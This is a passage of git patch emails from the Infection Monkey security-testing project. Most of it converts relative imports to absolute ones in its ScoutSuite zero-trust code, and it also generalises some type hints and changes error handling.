pkgutil.get_loader('common.cloud.scoutsuite.ScoutSuite.__main__') - - -def _add_scoutsuite_to_python_path(): - scoutsuite_path = PurePath(_scoutsuite_api_package.path).parent.parent.__str__() - sys.path.append(scoutsuite_path) - - -# Add ScoutSuite to python path because this way -# we don't need to change any imports in ScoutSuite code -_add_scoutsuite_to_python_path() - import common.cloud.scoutsuite.ScoutSuite.api_run as scoutsuite_api diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py index 7726e980e..0664b9b0f 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -1,7 +1,8 @@ import logging +from typing import Union import infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_api as scoutsuite_api -from common.cloud.scoutsuite.ScoutSuite.providers.aws.provider import AWSProvider +from common.cloud.scoutsuite.ScoutSuite.providers.base.provider import BaseProvider from common.cloud.scoutsuite_consts import CloudProviders from common.utils.exceptions import ScoutSuiteScanError from infection_monkey.config import WormConfiguration @@ -20,12 +21,12 @@ def scan_cloud_security(cloud_type: CloudProviders): logger.error(f"ScoutSuite didn't scan {cloud_type.value} security because: {e}") -def run_scoutsuite(cloud_type: str): +def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]: return scoutsuite_api.run(provider=cloud_type, aws_access_key_id=WormConfiguration.aws_access_key_id, aws_secret_access_key=WormConfiguration.aws_secret_access_key, aws_session_token=WormConfiguration.aws_session_token) -def send_results(results: AWSProvider): +def send_results(results: BaseProvider): ScoutSuiteTelem(results).send() diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py index 4e49c0695..5ad553e94 100644 --- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py +++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py @@ -1,12 +1,12 @@ from common.cloud.scoutsuite.ScoutSuite.output.result_encoder import ScoutJsonEncoder -from common.cloud.scoutsuite.ScoutSuite.providers.aws.provider import AWSProvider +from common.cloud.scoutsuite.ScoutSuite.providers.base.provider import BaseProvider from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem class ScoutSuiteTelem(BaseTelem): - def __init__(self, data: AWSProvider): + def __init__(self, data: BaseProvider): """ Default ScoutSuite telemetry constructor :param data: Data gathered via ScoutSuite diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py index 63f809fee..3b2a0eed0 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py @@ -2,6 +2,7 @@ from typing import List from bson import ObjectId +from common.utils.exceptions import FindingWithoutDetailsError from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails @@ -19,14 +20,13 @@ class MonkeyZTDetailsService: 'latest_events': {'$slice': ['$events', int(-1 * MAX_EVENT_FETCH_CNT / 2)]}, 'event_count': {'$size': '$events'}}}, {'$unset': ['events']}] - details = list(MonkeyFindingDetails.objects.aggregate(*pipeline)) + details = list(MonkeyFindingDetails.objects.aggregate(*pipeline))[0] if details: - details = details[0] details['latest_events'] = MonkeyZTDetailsService._remove_redundant_events(details['event_count'], details['latest_events']) return details else: - return {} + raise FindingWithoutDetailsError(f"Finding {finding_id} had no details.") @staticmethod def _remove_redundant_events(fetched_event_count: int, latest_events: List[object]) -> List[object]: From baadb241e8bb419e5983be7728cef91415a7af8b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 9 Feb 2021 15:51:34 +0200 Subject: [PATCH 246/466] Reverted relative paths in zero trust code back to absolute --- .../telemetry/processing/scoutsuite.py | 8 ++--- .../system_info_telemetry_dispatcher.py | 9 +++--- .../consts/scoutsuite_finding_maps.py | 30 +++++++++---------- .../consts/scoutsuite_findings_list.py | 7 ++--- .../abstract_rule_path_creator.py | 2 +- .../cloudformation_rule_path_creator.py | 7 +++-- .../cloudtrail_rule_path_creator.py | 7 +++-- .../cloudwatch_rule_path_creator.py | 7 +++-- .../config_rule_path_creator.py | 7 +++-- .../ec2_rule_path_creator.py | 7 +++-- .../elb_rule_path_creator.py | 7 +++-- .../elbv2_rule_path_creator.py | 7 +++-- .../iam_rule_path_creator.py | 7 +++-- .../rds_rule_path_creator.py | 7 +++-- .../redshift_rule_path_creator.py | 7 +++-- .../s3_rule_path_creator.py | 7 +++-- .../ses_rule_path_creator.py | 7 +++-- .../sns_rule_path_creator.py | 7 +++-- .../sqs_rule_path_creator.py | 7 +++-- .../vpc_rule_path_creator.py | 7 +++-- .../test_common/scoutsuite_finding_data.py | 3 +- 21 files changed, 89 insertions(+), 75 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py index d3822da27..8ee4737e8 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -2,10 +2,10 @@ import json from monkey_island.cc.database import mongo from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteRawDataJson -from ...zero_trust.scoutsuite.consts.scoutsuite_findings_list import SCOUTSUITE_FINDINGS -from ...zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser -from ...zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService -from ...zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_findings_list import SCOUTSUITE_FINDINGS +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService def process_scoutsuite_telemetry(telemetry_json): diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index c84704a0b..6d9ec8492 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -2,10 +2,11 @@ import logging import typing from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, - PROCESS_LIST_COLLECTOR, SCOUTSUITE_COLLECTOR) -from .aws import process_aws_telemetry -from .environment import process_environment_telemetry -from .hostname import process_hostname_telemetry + PROCESS_LIST_COLLECTOR) +from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry +from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \ + process_environment_telemetry +from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import process_hostname_telemetry from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import check_antivirus_existence logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py index a7ef79fdf..de0c7aa45 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py @@ -2,21 +2,21 @@ from abc import ABC, abstractmethod from typing import List from common.common_consts import zero_trust_consts -from .rule_names.cloudformation_rules import CloudformationRules -from .rule_names.cloudtrail_rules import CloudTrailRules -from .rule_names.cloudwatch_rules import CloudWatchRules -from .rule_names.config_rules import ConfigRules -from .rule_names.ec2_rules import EC2Rules -from .rule_names.elb_rules import ELBRules -from .rule_names.elbv2_rules import ELBv2Rules -from .rule_names.iam_rules import IAMRules -from .rule_names.rds_rules import RDSRules -from .rule_names.redshift_rules import RedshiftRules -from .rule_names.s3_rules import S3Rules -from .rule_names.ses_rules import SESRules -from .rule_names.sns_rules import SNSRules -from .rule_names.sqs_rules import SQSRules -from .rule_names.vpc_rules import VPCRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import CloudformationRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import CloudTrailRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import CloudWatchRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ConfigRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import RedshiftRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules # Class which links ZT tests and rules to ScoutSuite finding diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py index a531a4476..d19c2b216 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py @@ -1,8 +1,5 @@ -from .scoutsuite_finding_maps import (DataLossPrevention, Logging, - PermissiveFirewallRules, - RestrictivePolicies, - SecureAuthentication, ServiceSecurity, - UnencryptedData) +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import RestrictivePolicies, \ + SecureAuthentication, DataLossPrevention, UnencryptedData, PermissiveFirewallRules, ServiceSecurity, Logging SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData, DataLossPrevention, SecureAuthentication, RestrictivePolicies, Logging, ServiceSecurity] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py index 1d014dcd4..a5c3f7345 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py @@ -2,7 +2,7 @@ from abc import ABC, abstractmethod from enum import Enum from typing import List -from ...consts.service_consts import FINDINGS, SERVICE_TYPES, SERVICES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import FINDINGS, SERVICES, SERVICE_TYPES class AbstractRulePathCreator(ABC): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py index 28a550527..10adb474c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.cloudformation_rules import CloudformationRules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import CloudformationRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class CloudformationRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py index e0734fb42..2f626dfd5 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.cloudtrail_rules import CloudTrailRules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import CloudTrailRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class CloudTrailRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py index acbb66611..f6d4d673d 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.cloudwatch_rules import CloudWatchRules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import CloudWatchRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class CloudWatchRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py index aded2d3c6..59a2e49eb 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.config_rules import ConfigRules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ConfigRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class ConfigRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py index 3692df963..4a37b0a7e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.ec2_rules import EC2Rules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class EC2RulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py index 055c61744..a38ae2881 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.elb_rules import ELBRules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class ELBRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py index d45303f88..2472bf076 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.elbv2_rules import ELBv2Rules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class ELBv2RulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py index b131cd43b..a601cb9cd 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.iam_rules import IAMRules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class IAMRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py index ac08a51b5..0b8bf54af 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.rds_rules import RDSRules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class RDSRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py index e567dec35..4de7016a4 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.redshift_rules import RedshiftRules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import RedshiftRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class RedshiftRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py index 67be3914b..4c0a0dccc 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.s3_rules import S3Rules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class S3RulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py index 664dc9bc5..c7cac2bce 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.ses_rules import SESRules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class SESRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py index 19189d258..60a2f5b1c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.sns_rules import SNSRules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class SNSRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py index 214d19127..619cf2ddb 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.sqs_rules import SQSRules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class SQSRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py index 53abe3932..280d0933e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py @@ -1,6 +1,7 @@ -from ..abstract_rule_path_creator import AbstractRulePathCreator -from ....consts.rule_names.vpc_rules import VPCRules -from ....consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator class VPCRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py index 1dfad750e..4ce33a8f3 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py @@ -1,6 +1,7 @@ from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from ..scoutsuite.consts.scoutsuite_finding_maps import PermissiveFirewallRules, UnencryptedData +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import PermissiveFirewallRules, \ + UnencryptedData SCOUTSUITE_FINDINGS = [ PermissiveFirewallRules, From 28e4a0f23dd8eb1af9fce2d407ebeacd86e4c6f8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 10 Feb 2021 08:59:10 +0200 Subject: [PATCH 247/466] Altered shellcode obfuscator unit test to match the new code --- monkey/common/utils/test_shellcode_obfuscator.py | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/monkey/common/utils/test_shellcode_obfuscator.py b/monkey/common/utils/test_shellcode_obfuscator.py index c8df07c6e..7116993f2 100644 --- a/monkey/common/utils/test_shellcode_obfuscator.py 